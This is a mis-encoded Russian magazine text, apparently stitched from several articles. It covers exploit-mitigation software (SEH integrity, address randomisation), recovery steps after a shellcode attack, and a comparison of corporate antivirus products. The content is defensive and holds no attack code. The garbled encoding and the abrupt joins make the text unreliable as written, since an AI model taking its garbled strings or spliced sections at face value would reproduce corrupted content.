÷è áàçèðóåòñÿ íà êîíòðîëå òî÷åê ïå-
ðåâîäà óïðàâëåíèÿ íà ýêñïëîéò â êó-
÷å. Äåëî â òîì, ÷òî ýòèõ òî÷åê íåìíî-
ãî: ÿ÷åéêà ïàìÿòè ñ àäðåñîì
UnhandledExceptionFilter, ÿ÷åéêè ïà-
ìÿòè â TEB (ñèñòåìíàÿ áàçà äàííûõ
ïîòîêà) ñ àäðåñàìè ôóíêöèé
RtlAcquirePebLock/RtlReleasePebLock è
SEH. Åñëè êîíòðîëèðîâàòü öåëîñòíîñòü
êðèòè÷åñêè âàæíûõ ÿ÷ååê ïàìÿòè è
SEH, òî ìîæíî äîáèòüñÿ õîðîøåãî
óðîâíÿ çàùèòû êó÷è, ñîõðàíèâ åå èñ-
ïîëíÿåìîñòü. Êðîìå íåèñïîëíÿåìîñòè,
êîíòðîëÿ öåëîñòíîñòè SEH è òî÷åê ïå-
ðåâîäà óïðàâëåíèÿ, ïðîãðàììà ñëó÷àé-

íûì îáðàçîì ïåðåìåøèâàåò äàííûå â
êó÷å è ñòåêå äëÿ ïðåäîòâðàùåíèÿ óãà-
äûâàíèÿ àäðåñîâ, ãäå ëåæàò øåëë-êî-
äû, ñëó÷àéíûì îáðàçîì ïåðåìåùàåò
áàçîâûå áèáëèîòåêè ïðè êàæäîé ïåðå-
çàãðóçêå, ÷åì ÷ðåçâû÷àéíî çàòðóäíÿåò
"return-into-libc"-àòàêó (ïîïðîáóé äîãà-
äàéñÿ, êóäà ïðîãðàììà çàáðîñèëà áàçó
kernel32.ddl â ýòîò ðàç!). Â ñëó÷àå àòàêè
çàâåðøàåòñÿ íå âñå ïðèëîæåíèå, à
òîëüêî àòàêîâàííûé ïîòîê, ÷òî äåëàåò
åå ïðèãîäíîé äëÿ çàùèòû web- è ftp-
ñåðâåðîâ. Åäèíñòâåííàÿ ïðîáëåìà
ïðîãðàììû - ýòî ñîâìåñòèìîñòü ñ KAV
ïîä Windows 2000.

×ÒÎ ÄÅËÀÒÜ, ÅÑËÈ ÌÅÍß
ÓÑÏÅØÍÎ ÀÒÀÊÎÂÀËÈ?

Ïðåæäå âñåãî - íå âïàäàòü â ïàíè-
êó. Êîìàíäà "format c:" - ýòî êðàéíÿÿ
ìåðà. Âî-ïåðâûõ, íóæíî óñòàíîâèòü
âñå ïîñëåäíèå çàïëàòêè îò ïðîèçâî-
äèòåëÿ ÎÑ. Âî-âòîðûõ, æåëàòåëüíî
ïîìíèòü, ÷òî øåëë-êîä, åñëè îí íå-
áîëüøîé, íå ñïîñîáåí ñåðüåçíî ïîâ-
ðåäèòü ñèñòåìó. Åìó íåîáõîäèìî âû-
êà÷àòü èç Ñåòè äîïîëíèòåëüíûå êîì-
ïîíåíòû. Ñäåëàòü ýòî îí ìîæåò èëè ñ
ïîìîùüþ tftp (ïðîñòîé ftp-ìîäóëü,

âõîäÿùèé â ñòàíäàðò ïîñòàâêè îïåðà-
öèîííîé ñèñòåìû), èëè ñ ïîìîùüþ
Internet Explorer. È òóò ìû ñïîñîáíû
ïåðåõâàòèòü è çàáëîêèðîâàòü ýòè
äåéñòâèÿ ñ ïîìîùüþ ôàéðâîëà. Âî-
îáùå õîðîøèé ôàéðâîë êàê óòèëèòà
çàùèòû ïîñëå âçëîìà íåçàìåíèì, è
èìåííî ïîýòîìó ãðàìîòíî ñïðîåêòè-
ðîâàííûé øåëë-êîä áóäåò ëþáûìè
ñïîñîáàìè ïðîòèâîäåéñòâîâàòü
ôàéðâîëó - îò ïîïûòîê îáìàíóòü åãî
è âûêà÷àòü ñâîè êîìïîíåíòû òèõî è
íåçàìåòíî äî ïîïûòîê âûãðóçèòü
ôàéðâîë è îòêëþ÷èòü çàùèòó. 

Åñëè æå øåëë-êîä äîñòàòî÷íî âåëèê,
÷òîáû ñàìîñòîÿòåëüíî ñîçäàòü èñïîë-
íÿåìûé ìîäóëü íà äèñêå, òî ó æåðòâû
àòàêè ìîðå ïëàíîâ äåéñòâèé - îò óñòà-
íîâêè ýòîãî ìîäóëÿ êàê ðåâåðñèâíîãî
òðîÿíà äî ïîïûòîê óñòàíîâèòü ðóòêèò.
Åñëè àíòèâèðóñ, óñòàíîâëåííûé íà
êîìïüþòåðå, íå áóäåò èìåòü ýòîò ìî-
äóëü â ñâîåé àíòèâèðóñíîé áàçå, îí
ïðîïóñòèò åãî. Â ýòîì ñëó÷àå ïîíàäî-
áÿòñÿ óòèëèòû òèïà AVZ (íåïëîõîé àí-
òèðóòêèò, ïîñòðîåíèå ñïèñêà çàãðóæà-
åìûõ ìîäóëåé - www.z-oleg.com), HijackThis
(ïîñòðîåíèå ñïèñêà çàãðóæàåìûõ ìî-
äóëåé - www.tomcoyote.org/hjt). Ëþäè, êîòîðûå
íå â ñîñòîÿíèè ñàìîñòîÿòåëüíî ñïðà-
âèòüñÿ ñ ëîãàìè ýòèõ ïðîãðàìì, ìîãóò
îáðàòèòüñÿ íà íåïëîõîé ðóññêîÿçû÷-
íûé ðåñóðñ www.virusinfo.info: çàïîñòèòü ëî-
ãè è ïðè ýòîì âïîëíå ðàññ÷èòûâàòü íà
áåñêîðûñòíóþ ïîìîùü. 

×òî æå äåëàòü, åñëè íè÷åãî íå ïî-
ìîãëî? Ïîëíîñòüþ ïåðåóñòàíîâèòü
îïåðàöèîííóþ ñèñòåìó, ïîñòàâèòü íà
íåå ôàéðâîë, àíòèâèðóñ è çàùèòó îò
àòàê íà ïåðåïîëíåíèå áóôåðà, âûêà-
÷àòü è óñòàíîâèòü âñå çàïëàòêè.

Ñåãîäíÿ àòàêè èç ìàññîâûõ ïðåâðà-
ùàþòñÿ â àêöåíòèðîâàííûå è öåëå-
íàïðàâëåííûå, à õàêåðñêàÿ âîëüíè-
öà ïîñòåïåííî ïåðåâîïëîùàåòñÿ â
ìíîãîìèëëèîííûé áèçíåñ, â êîòîðîì
çîìáèðóþò òûñÿ÷è êîìïüþòåðîâ è
êðàäóò íîìåðà êðåäèòîê ìèëëèîíà-
ìè. Â òàêîì ìèðå áåçîïàñíîñòè íè-
êîãäà íå áûâàåò ñëèøêîì ìíîãî. Íå-
äîñòàòî÷íî - áûâàåò, ìíîãî - íåò. Ïî-
ýòîìó ÿ ïðèçûâàþ âñåõ íàáèðàòüñÿ
îïûòà è çíàíèé, â òîì ÷èñëå â îáëàñ-
òè êîìïüþòåðíîé áåçîïàñíîñòè. Áåç
ýòîãî áóäåò î÷åíü òÿæåëî ïðîòèâîñ-
òîÿòü êîììåðöèàëèçóþùåéñÿ àðìèè
âçëîìùèêîâ. E
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StackDefender â ïðîöåññå ðàáîòû



Àíäðåé Ñåìåíþ÷åíêî (semu@rbcmail.ru)

Ñ îâðåìåííûé IT-ðûíîê ïðåäëàãàåò îãðîìíûé àññîðòèìåíò çàùèòíîãî ïðîãðàììíîãî îáåñïå÷åíèÿ. Êàê ðàçîáðàòüñÿ âî
âñåì ðàçíîîáðàçèè àíòèâèðóñîâ, îäíîâðåìåííî íå óòîíóâ â ìîðå èíôîðìàöèè? ×åé àíòèâèðóñ ëó÷øå? Âñåãäà ëè

ïðîèçâîäèòåëè ãîâîðÿò ïðàâäó î ñâîèõ ïðîäóêòàõ? Ñóùåñòâóþò ëè ñëàáûå ìåñòà ó ýòîãî âèäà ÏÎ? Íà ýòè è ìíîãèå
äðóãèå âîïðîñû ïîñòàðàþñü îñâåòèòü â ýòîé ñòàòüå. 

ÂÑß ÏÐÀÂÄÀ 
ÎÁ ÀÍÒÈÂÈÐÓÑÀÕ
ÎÁÇÎÐ È ÀÍÀËÈÇ ÑÀÌÛÕ ÏÎÏÓËßÐÍÛÕ ÀÍÒÈÂÈÐÓÑÎÂ

ÎÐÃÀÍÈÇÀÖÈß 
È ÒÅÕÍÎËÎÃÈß
ÇÀÙÈÒÛ
ÈÍÔÎÐÌÀÖÈÈ

Ïîñòðîåíèå çàùè-
ùåííîé êîìïüþòåðíîé ñèñòåìû � ýòî
öåëàÿ íàóêà, è ïîëíîñòüþ îõâàòèòü åå
âðÿä ëè âîçìîæíî â ðàìêàõ îäíîé
ñòàòüè. Äëÿ ýòîãî ñëåäîâàëî áû ðàñ-
ñìîòðåòü öåëûé êîìïëåêñ îðãàíèçàöè-
îííûõ, ïðàâîâûõ, ýêîíîìè÷åñêèõ, èí-
æåíåðíî-òåõíè÷åñêèõ, ïðîãðàììíî-àï-
ïàðàòíûõ ìåòîäîâ è ñðåäñòâ çàùèòû
êîìïüþòåðíîé îáðàáîòêè èíôîðìà-
öèè. Äàþ óñòàíîâêó - ðàññìîòðåòü
ëèøü ÷àñòü ñðåäñòâ çàùèòû, à èìåííî
àíòèâèðóñíûå ïðîãðàììû.

Íà ñàìîì äåëå èíôîðìàöèîííàÿ áå-
çîïàñíîñòü - ýòî çàùèòà èíôîðìàöèè
è çàùèòà îò èíôîðìàöèè. Äåéñòâè-
òåëüíî, ïî÷òè âñå îðãàíèçàöèè, èìåþ-
ùèå äîñòóï ê íåáåçîïàñíûì ñîåäèíå-
íèÿì, ïðèìåíÿþò ìåæñåòåâûå ýêðàíû
è àíòèâèðóñû, êîòîðûå ïðåêðàñíî ñî-
÷åòàþòñÿ ìåæäó ñîáîé. Çàäà÷à ôàéð-
âîëîâ � ôèëüòðîâàòü âõîäÿùèé è èñ-
õîäÿùèé òðàôèê äëÿ çàùèòû ñèñòåìû
íà óðîâíå ïðîòîêîëîâ è ïðèëîæåíèé.
Çàäà÷à àíòèâèðóñíîãî ÏÎ � àíàëèçè-
ðîâàòü âõîäÿùèå/èñõîäÿùèå äàííûå.
Äðóãèìè ñëîâàìè, ñèñòåìà çàùèòû

ñòðîèòñÿ íà áëîêèðîâêå íåèñïîëüçóå-
ìûõ è ïîòåíöèàëüíî îïàñíûõ ïðîòî-
êîëîâ è ïðèëîæåíèé ìåæñåòåâûì ýê-
ðàíîì, à âñÿ îñòàâøàÿñÿ ðàçðåøåí-
íàÿ âõîäÿùàÿ/èñõîäÿùàÿ èíôîðìà-
öèÿ ôèëüòðóåòñÿ àíòèâèðóñîì.

ÏÅÐÅ×ÅÍÜ ÏÐÎÄÓÊÒÎÂ
Íà ðîññèéñêîì ðûíêå ïðåäñòàâëå-

íî îêîëî äåñÿòêà ìåæñåòåâûõ ýêðà-
íîâ. Ñ àíòèâèðóñàìè äåëî îáñòîèò ãî-
ðàçäî ñëîæíåå, ïîñêîëüêó êàæäûé
áðåíä ïðåäñòàâëÿåò áîëåå äåñÿòè-
äâàäöàòè íàèìåíîâàíèé ïðîäóêòîâ.
Òàê, ñàìûé ïîïóëÿðíûé ðîññèéñêèé
àíòèâèðóñ, Àíòèâèðóñ Êàñïåðñêîãî,
èìååò â ñâîåì àðñåíàëå áîëåå ïÿòè
íàèìåíîâàíèé ïðîäóêòîâ â êàòåãîðèè

"Äëÿ äîìàøíèõ ïîëüçîâàòåëåé" è áî-
ëåå ïÿòíàäöàòè - êëàññà "Äëÿ êîðïî-
ðàòèâíûõ êëèåíòîâ". Ðàçóìååòñÿ, ïðè-
âåñòè, îïèñàòü è ñðàâíèòü âñå ïðèëî-
æåíèÿ ïðîñòî íåâîçìîæíî. Ïîýòîìó
áîëåå ýôôåêòèâíûì ìåòîäîì ÿâëÿåò-
ñÿ ñðàâíåíèå àíòèâèðóñíûõ ïðîãðàìì,
âõîäÿùèõ â ñîñòàâ êîðïîðàòèâíûõ ïà-
êåòîâ, - ñîïîñòàâëåíèå âîçìîæíîñòåé
è óñëóã, ïðåäîñòàâëÿåìûõ êàæäîé
êîìïàíèåé-ïðîèçâîäèòåëåì. Òàê áó-
äåò äàæå èíòåðåñíåå. Áîëüøå äîñòî-
èíñòâ � áîëüøå íåäîñòàòêîâ! Íà íàø
ñóä ïðåäñòàâëåíû ñëåäóþùèå àíòèâè-
ðóñû: Kaspersky Business Optimal,
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Àíòèâèðóñ Êàñïåðñêîãî

Ñàéò AV-comparatives

Ñàéò AV-Test GmbH

Dr.Web

Çàùèòà îò íàñòîÿùèõ è áóäóùèõ óãðîç
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Dr.Web Enterprise Suite, McAfee Active
Virus Defense, Symantec AntiVirus
Enterprise Edition, Trend NeatSuite
Standard Edition, Eset Nod32 Enterprise
Edition.

ÁÀÒÀËÈÈ ÀÍÒÈÂÈÐÓÑÎÂ
Ñ ÷åãî æå íà÷àòü? Äëÿ òåõíè÷åñêè

ïîäêîâàííîé àóäèòîðèè âïîëíå äî-
ïóñòèìî îïóñòèòü ñðàâíåíèå ïîëüçî-

âàòåëüñêèõ èíòåðôåéñîâ. Óðîâåíü
usability ëþáîãî êîììåð÷åñêîãî àíòè-
âèðóñà óæå äàâíî äîñòèã åñëè íå ñî-
âåðøåíñòâà, òî, ïî êðàéíåé ìåðå, ïðè-
åìëåìîé îòìåòêè. À ýòî, â êîíöå êîí-
öîâ, çàâèñèò îò âêóñà è ïðåäïî÷òåíèé
êîíå÷íîãî ïîòðåáèòåëÿ!

Â îïèñàíèè ïðåäñòàâëåííûõ ïðîäóê-
òîâ íàì ïîìîãóò ñàìûå àâòîðèòåòíûå
èç íåçàâèñèìûõ îíëàéí-èçäàíèé: AV-

Test GmbH (www.av-test.org), Virus Bulletin
(www.virusbtn.com) è AV-comparatives (www.av-
comparatives.org). Îíè âñåãäà ãîòîâû ïðåä-
ëîæèòü ðåçóëüòàòû ïîñëåäíèõ ñðàâ-
íèòåëüíûõ òåñòîâ àíòèâèðóñîâ òîé
èëè èíîé êàòåãîðèè. Óêàçàííûå ïîðòà-
ëû ïîñòîÿííî îáíîâëÿþòñÿ ãðóïïàìè
âñåìèðíî èçâåñòíûõ àíòèâèðóñíûõ
ýêñïåðòîâ, èíôîðìàöèþ î êîòîðûõ

Eset NOD32 Trend NeatSuite Standard Edition

Âêëþ÷àåò çàùèòó äëÿ

DOS, Windows [9x, NT4, ME, 2000/2003/XP], Linux, UNIX,
NetWare, MS DOS, Lotus Domino, MS Exchange, Kerio Mail,
Server, Kerio WinRoute Firewall

Windows [9x, NT4, ME, 2000,
Professional, XP Home/Professional, NT4
Server, 2000 Server], Linux, NetWare
NetApp Filer, EMC Celerra File Server,
Exchange, Domino, Internet gateways,
[SMTP, FTP, POP3 & HTTP]

Ðàçìåð àíòèâèðóñà 8.19MB(Windows Trial version)
97.21MB (Trend OfficeScan Corporate
Edition 6.5)

×àñòîòà îáíîâëåíèÿ Ðàç â íåñêîëüêî ÷àñîâ

Ðàçìåð îáíîâëåíèé Ïðèìåðíî 150KB

Ñêîðîñòü ñêàíèðîâàíèÿ 3,106.7KB/c

Ñêàíèðîâàíèå àðõèâîâ ÄÀ ÄÀ

×èñòêà â àðõèâàõ ÍÅÒ ÍÅÒ

Óäàëåííîå àäìèíèñòðèðîâàíèå ÄÀ ÄÀ

Óäàëåííîå óïðàâëåíèå ÄÀ ÄÀ

Óïðàâëåíèå îò÷åòàìè ÄÀ ÄÀ

Òåõíè÷åñêàÿ ïîääåðæêà ÄÀ, áåñïë. òîëüêî e-mail ÄÀ, äîïîëíèòåëüíàÿ îïëàòà

Ðåàêöèÿ íà íîâûå óãðîçû Ìåíåå 7 ÷àñîâ Ìåíåå 9 ÷àñîâ

Áåñïëàòíàÿ îòäåëüíàÿ óòèëèòà ñêàíèðîâàíèÿ ÍÅÒ ÄÀ

Äåòåêòèðîâàíèå spyware è ò.ä. ÄÀ (â íîâîé âåðñèè v2.5) ÄÀ

Kaspersky Business Optimal Dr. Web Enterprise Suite

Âêëþ÷àåò çàùèòó äëÿ

Windows [9x, ME, NT4, 2000 Professional, XP,  T4 Server,
2000 Advanced Server, 2003 Server], Linux/Unix [for File
Server, Mail Server, Samba Server, Icap Server], NetWare,
Exchange, Domino, MS ISA Server, Linux for Arm platform,
Mobile devices under Symbian OS

Windows [9x, Me, NT4, 2000, XP],  Linux/
UNIX [File server, Mail server, Samba
server, Icap server], NetWare,
Communigate Pro for Windows plugin

Ðàçìåð àíòèâèðóñà 17.46MB (KAV Workstation 5.0) 9.95MB (Dr. Web for Windows)

×àñòîòà îáíîâëåíèÿ Åæå÷àñíî Åæå÷àñíî (äíåì - 2 ðàçà â ÷àñ)

Ðàçìåð îáíîâëåíèé Ïðèìåðíî 45KB Ïðèìåðíî 10KB

Ñêîðîñòü ñêàíèðîâàíèÿ 2,298.4KB/s 2,196.5KB/s

Ñêàíèðîâàíèå àðõèâîâ ÄÀ ÄÀ

×èñòêà â àðõèâàõ ÄÀ

Óäàëåííîå àäìèíèñòðèðîâàíèå ÄÀ ÄÀ

Óäàëåííîå óïðàâëåíèå ÄÀ ÄÀ

Óïðàâëåíèå îò÷åòàìè ÄÀ ÄÀ

Òåõíè÷åñêàÿ ïîääåðæêà ÄÀ, áåñïëàòíî ÄÀ, Áåñïëàòíî

Ðåàêöèÿ íà íîâûå óãðîçû Ìåíåå 3 ÷àñîâ Ìåíåå 6 ÷àñîâ

Áåñïëàòíàÿ îòäåëüíàÿ óòèëèòà ñêàíèðîâàíèÿ ÄÀ ÄÀ

Äåòåêòèðîâàíèå spyware è ò.ä. ÄÀ ÄÀ (â ñòàäèè áåòà-òåñòèðîâàíèÿ)

Symantec AntiVirus Enterprise Edition McAfee Active Virus Defense

Âêëþ÷àåò çàùèòó äëÿ

Windows [98, NT4, ME, 2000 Professional, XP
Home/Professional, NT4 Server, 2000/2003 Server, Small
Business Server, Terminal Services], Macintosh, NetWare,
Exchange, Domino, Internet gateways [SMTP, FTP & HTTP]
Windows [98, NT4, ME, 2000 Professional, XP
Home/Professional, NT4 Server, 2000/2003 Server, Small
Business Server, Terminal Services]

Windows [NT4, 2000 Professional, XP,
NT4 Server, 2000 Advanced Server,
2003 Server], Linux, UNIX, NetWare,
Exchange, Domino, Windows SMTP gate-
ways

Ðàçìåð àíòèâèðóñà 8.18MB (McAfee VirusScan Enterprise 8.0i)

×àñòîòà îáíîâëåíèÿ Åæåíåäåëüíî Åæåäíåâíî

Ðàçìåð îáíîâëåíèé Ïðèìåðíî 150KB

Ñêîðîñòü ñêàíèðîâàíèÿ 2,278.9KB/c 3,275KB/c

Ñêàíèðîâàíèå àðõèâîâ ÄÀ ÄÀ

×èñòêà â àðõèâàõ ÍÅÒ Òîëüêî ZIP [îäèí óðîâåíü âëîæåíèÿ]

Óäàëåííîå àäìèíèñòðèðîâàíèå ÄÀ ÄÀ

Óäàëåííîå óïðàâëåíèå ÄÀ ÄÀ

Óïðàâëåíèå îò÷åòàìè ÄÀ ÄÀ

Òåõíè÷åñêàÿ ïîääåðæêà ÄÀ, áåñïëàòíî ÄÀ, äîïîëíèòåëüíàÿ îïëàòà

Ðåàêöèÿ íà íîâûå óãðîçû Ìíåå 14 ÷àñîâ Ìåíåå 13 ÷àñîâ

Áåñïëàòíàÿ îòäåëüíàÿ óòèëèòà ñêàíèðîâàíèÿ ÄÀ ÄÀ

Äåòåêòèðîâàíèå spyware è ò.ä. ÍÅÒ ÄÀ

Òàáëèöà ¹1. Ïðåäîñòàâëÿåìûé àíòèâèðóñàìè ñåðâèñ
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Ñàìûì èçâåñò-
íûì ïðèìåðîì
ñåòåâîãî ÷åðâÿ
áûë Lovesan,
ïîÿâèâøèéñÿ â
àâãóñòå 2003
ãîäà è èñïîëü-
çîâàâøèé äëÿ
ñâîåãî ðàñïðî-
ñòðàíåíèÿ êðè-
òè÷åñêóþ óÿç-
âèìîñòü â îïå-
ðàöèîííîé ñèñ-
òåìå Windows.

Îáçîð âèðóñíîé
àêòèâíîñòè çà
òåêóùèé ìåñÿö
ìîæíî íàéòè íà
ñàéòå
www.viruslist.ru.



òàêæå ìîæíî íàéòè ïî ïðèâåäåííûì
ññûëêàì. 

ÑËÅÄÑÒÂÈÅ ÂÅÄÓÒ ÇÍÀÒÎÊÈ 
Èòàê, íà÷íåì íàøå èññëåäîâàíèå

ñ îïèñàíèÿ âîçìîæíîñòåé àíòèâèðóñ-
íûõ ïðîãðàìì.

Â òàáëèöå ¹1 - ñðàâíåíèå óñëóã, ïðå-
äîñòàâëÿåìûõ àíòèâèðóñíûìè êîìïà-
íèÿìè. Åñëè â íåé ïðîïóùåíû íåêîòî-
ðûå çíà÷åíèÿ, çíà÷èò, ðàçðàáîò÷èê
ÏÎ íå ñêàçàë èññëåäîâàòåëüñêèì
öåíòðàì íè÷åãî ïî ïîâîäó ýòèõ ñåã-
ìåíòîâ.

Ïåðâîå, ÷òî áðîñàåòñÿ â ãëàçà (è
÷òî èçâåñòíî äàëåêî íå âñåì), � îã-
ðîìíîå êîëè÷åñòâî îïåðàöèîííûõ
ñèñòåì, ïîääåðæèâàåìûõ áîëüøèí-
ñòâîì àíòèâèðóñîâ, à òàêæå èíòåãðà-
öèÿ îñåé ñ ðàçëè÷íûìè ïðèëîæåíèÿ-
ìè. Îáèäíî òîëüêî, ÷òî êîìïàíèÿ
Symantec ñîâñåì íå óäåëÿåò âíèìà-
íèÿ *nix-ñèñòåìàì. 

Ñàìûì áûñòðûì â ïëàíå ñêàíèðîâà-
íèÿ ôàéëîâ îêàçàëñÿ Dr.Web, çà íèì -
Symantec Antivirus. Íåïëîõèå ðåçóëü-
òàòû ïîêàçàëè Àíòèâèðóñ Êàñïåðñêî-
ãî è Nod32 Antivirus. Çàòî ó Dr.Web è
Symantec îòñóòñòâóåò äåòåêòèðîâà-
íèå SpyWare, øïèîíñêîãî ïðîãðàì-
ìíîãî îáåñïå÷åíèÿ, êîòîðîå ñîáèðàåò
èíôîðìàöèþ î êîìïüþòåðå è ïîëüçî-
âàòåëå. 

Ïî ÷àñòîòå îáíîâëåíèé ëèäåðîì ÿâ-
ëÿåòñÿ Àíòèâèðóñ Êàñïåðñêîãî. Åæå-
÷àñíî! Ýòî âïîëíå îáúÿñíèìî: "Ëàáî-

ðàòîðèÿ Êàñïåðñêîãî" ïîçèöèîíèðóåò
ñåáÿ êàê ðàçðàáîò÷èêà ñ ñàìûì âûñî-
êèì ðåéòèíãîì äåòåêòèðîâàíèÿ âðåäî-
íîñíûõ ïðîãðàìì è ìãíîâåííîé ðåàê-
öèåé íà âîçíèêíîâåíèå âèðóñíûõ ýïè-
äåìèé. À âîò êîìïàíèè Symantec è
McAfee, âèäèìî, íå ñ÷èòàþò íóæíûì

òîðîïèòüñÿ ïðè âñïûøêå íîâûõ âèðó-
ñîâ. Ïîçîð, ãîñïîäà, ñòûäèòåñü! 

Ïîñêîëüêó ïðåäñòàâëåííûå àíòèâè-
ðóñû ÿâëÿþòñÿ êîðïîðàòèâíûìè, âñå
îíè èìåþò ñðåäñòâà óäàëåííîãî àäìè-
íèñòðèðîâàíèÿ è óïðàâëåíèÿ. Îäíà èç
íîâîìîäíûõ ôóíêöèé - âîçìîæíîñòü
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McAfee VirusScan

Nod32 Antivirus

Symantec Antivirus

Trend Micro PC-cillin

ÂÑß ÏÐÀÂÄÀ ÎÁ ÀÍÒÈÂÈÐÓÑÀÕ40 ÊËÈÅÍÒ

Ãîâîðÿ î òåõíîëîãèÿõ ðàáîòû ñîâðåìåííûõ àíòèâèðóñîâ, ìîæíî óòâå-
ðæäàòü, ÷òî äëÿ îäíîçíà÷íîé èäåíòèôèêàöèè âðåäîíîñíîé ïðîãðàì-
ìû íåîáõîäèìî ïðèìåíÿòü ìåõàíèçì ñèãíàòóð. Îäíàêî ðàáîòà ëþáîãî
àíòèâèðóñà, îñíîâàííîãî íà ñèãíàòóðíîì ïîèñêå, ñâîäèòñÿ ê öåïî÷êå
"îáíàðóæåíèå âðåäîíîñíîãî êîäà ïîëüçîâàòåëåì" � "îòïðàâêà àíòè-
âèðóñà ðàçðàáîò÷èêàì " � "àíàëèç" � "âêëþ÷åíèå ñèãíàòóð â áàçû" �
"îáíîâëåíèå áàç". Âñåì ÿñíî, ÷òî ýòà öåïî÷êà äëèííàÿ è êëþ÷åâûì
ìîìåíòîì ÿâëÿåòñÿ òî, ÷òî êòî-òî äîëæåí îáíàðóæèòü âðåäîíîñíûé
êîä è ïðèñëàòü åãî àíàëèòèêàì. Îáíàðóæåíèå ìîæåò ïðîèçâîäèòüñÿ
îïûòíûì ñèñòåìùèêîì ëèáî ñàìèì àíòèâèðóñîì � ïðè ïîìîùè åãî ýâ-
ðèñòè÷åñêîãî àíàëèçàòîðà. Â íàñòîÿùèé ìîìåíò, íà ìîé âçãëÿä, ïåðñ-
ïåêòèâíû íåñêîëüêî íàïðàâëåíèé ýâðèñòèêè:

Ýâðèñòèê íà îñíîâå ñèãíàòóð. Èäåÿ àíàëîãè÷íà ïîèñêó âèðóñîâ,
íî â áàçó ýâðèñòèêà çàíîñÿòñÿ ñèãíàòóðû õàðàêòåðíûõ ôðàãìåíòîâ
êîäà âèðóñîâ è òðîÿíñêèõ ïðîãðàìì. Äàííàÿ ìåòîäèêà ïðèìåíÿåòñÿ
â òîì èëè èíîì âèäå ïî÷òè âî âñåõ àíòèâèðóñàõ, îíà íàèáîëåå óäà÷-
íà (íà ìîé âçãëÿä) â àíòèâèðóñå VBA: ìíå ëè÷íî ÷àñòî äîâîäèòñÿ âè-
äåòü ïðàâèëüíóþ ðåàêöèþ åãî ýâðèñòèêà òàì, ãäå äðóãèå àíòèâèðó-
ñû "ìîë÷àëè".

Ýìóëÿòîð. Ýìóëèðóÿ âûïîëíåíèå ïðîãðàììû, ìîæíî ïðîñëåäèòü,
êàêèå äåéñòâèÿ îíà áóäåò ïûòàòüñÿ âûïîëíèòü. Ñàìàÿ èíòåðåñíàÿ è
íàãëÿäíàÿ ðåàëèçàöèÿ - Norman Virus Control (ïðèìåíÿåòñÿ íà ñàéòå
http://virusscan.jotti.org), êîòîðûé, ïî ñóòè, ïðîâîäèò ïîëíîöåííîå âû-
ïîëíåíèå èçó÷àåìîé ïðîãðàììû íà "âèðòóàëüíîì" ÏÊ è âñåñòîðîííå
âûâåäûâàåò åå âîçäåéñòâèå íà ñèñòåìó. Äëÿ îïûòà ìîæíî îòïðàâèòü
íà óêàçàííûé ñàéò äëÿ ïðîâåðêè õàðàêòåðíûé âèðóñ èëè òðîÿí (íàïðè-
ìåð Pinch) è ïîñìîòðåòü ðåçóëüòàòû àíàëèçà. Äðóãèì ïðèìåíåíèåì
ýìóëÿòîðà ÿâëÿåòñÿ ðàñïàêîâêà ïðîãðàììû, ñæàòîé ïàêåðîì èëè
êðèïòåðîì, íåèçâåñòíûì äëÿ àíòèâèðóñà.

Ïîâåäåí÷åñêèå àíàëèçàòîðû è áëîêèðàòîðû. Îñíîâàíû íà àíàëèçå
äåéñòâèé, êîòîðûå ïðîãðàììû ñîâåðøàþò íà çàùèùàåìîì ÏÊ. Ïðîñòåé-

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ: ÀÍÒÈÂÈÐÓÑÍÛÅ ÒÅÕÍÎËÎÃÈÈ
ÇÀÉÖÅÂ ÎËÅÃ, ÀÂÒÎÐ AVZ (HTTP://Z-OLEG.COM/SECUR)



îáíàðóæåíèÿ âèðóñîâ â àðõèâàõ. Òà-
êàÿ ñïîñîáíîñòü èìååòñÿ ó âñåõ
ïðåäñòàâëåííûõ àíòèâèðóñîâ, íî óäà-
ëÿòü è ëå÷èòü çàðàæåííûå îáúåêòû
ñïîñîáíû äàëåêî íå âñå. Ñ ýòîé çàäà-
÷åé ñïðàâëÿþòñÿ òîëüêî Àíòèâèðóñ
Êàñïåðñêîãî è McAfee Antivirus. Ïîñ-
ëåäíèé, ïðàâäà, ñïîñîáåí ÷èñòèòü èñê-
ëþ÷èòåëüíî àðõèâû òèïà zip ñ îäíîó-
ðîâíåâîé ãëóáèíîé âëîæåíèÿ. 

Êëþ÷åâûì êîìïîíåíòîì ëþáîãî àí-
òèâèðóñíîãî ðåøåíèÿ ÿâëÿåòñÿ òåõíè-
÷åñêàÿ ïîääåðæêà, ïîñêîëüêó ìû çíà-
åì, íàñêîëüêî ÷àñòî âîçíèêàþò ïðîá-
ëåìû ñ àíòèâèðóñíûì ÏÎ. Êàê âèäíî
èç òàáëèöû, âñå êîìïàíèè ïðåäîñòàâ-
ëÿþò ñâîèì êëèåíòàì óñëóãè òåõíè-
÷åñêîé ïîääåðæêè, òîëüêî Trend Micro
è McAfee âïàðèâàþò ýòó óñëóãó çà äî-
ïîëíèòåëüíóþ ïëàòó.

ÈÇ ËÈ×ÍÎÃÎ ÍÀÁËÞÄÅÍÈß 
Îïèñàâ âîçìîæíîñòè àíòèâèðó-

ñîâ, îêèíåì âçîðîì èõ íåäîñòàòêè!

DR.WEB
Ïðè îáíîâëåíèè ÷àñòî âîçíèêàåò

ñîîáùåíèå "Îøèáêà ïîëó÷åíèÿ ôàé-
ëà âåðñèé", õîòÿ ñîåäèíåíèå ñ èíòåð-
íåòîì âïîëíå ðàáîòîñïîñîáíî.

Ïðè èñïîëüçîâàíèè Apache
(Win32-ïîðò) íåêîòîðûå ñêðèïòû ïå-
ðåñòàþò êîððåêòíî âûïîëíÿòü ñâîþ
ðàáîòó. Òàêîå áûâàåò ïðè èñïîëüçîâà-
íèè Spider Guard îò Dr.Web. 

MCAFEE
Ïðè óñòàíîâêå McAfee Office íàá-

ëþäàåòñÿ íåñòàáèëüíàÿ ðàáîòà, âèäè-
ìî, èç-çà ìíîæåñòâåííîñòè îäíîâðå-
ìåííî çàïóñêàåìûõ ïðîãðàìì (ïî
óìîë÷àíèþ ïÿòü). Ñîêðàòèâ èõ êîëè÷å-
ñòâî, ìîæíî äîáèòüñÿ áîëåå-ìåíåå
ñòàáèëüíîé ðàáîòû. 

Ñáîè ïðè çàïóñêå ìîäóëÿ îò÷åòîâ
Discover Pro.

Êîìïîíåíò McAfee VirusScan's
WebScanX ïîäêëþ÷àåòñÿ â
explorer.exe. Êîãäà Explorer èñïîëü-
çóåòñÿ äëÿ ïðîñìîòðà êàòàëîãîâ è îñ-
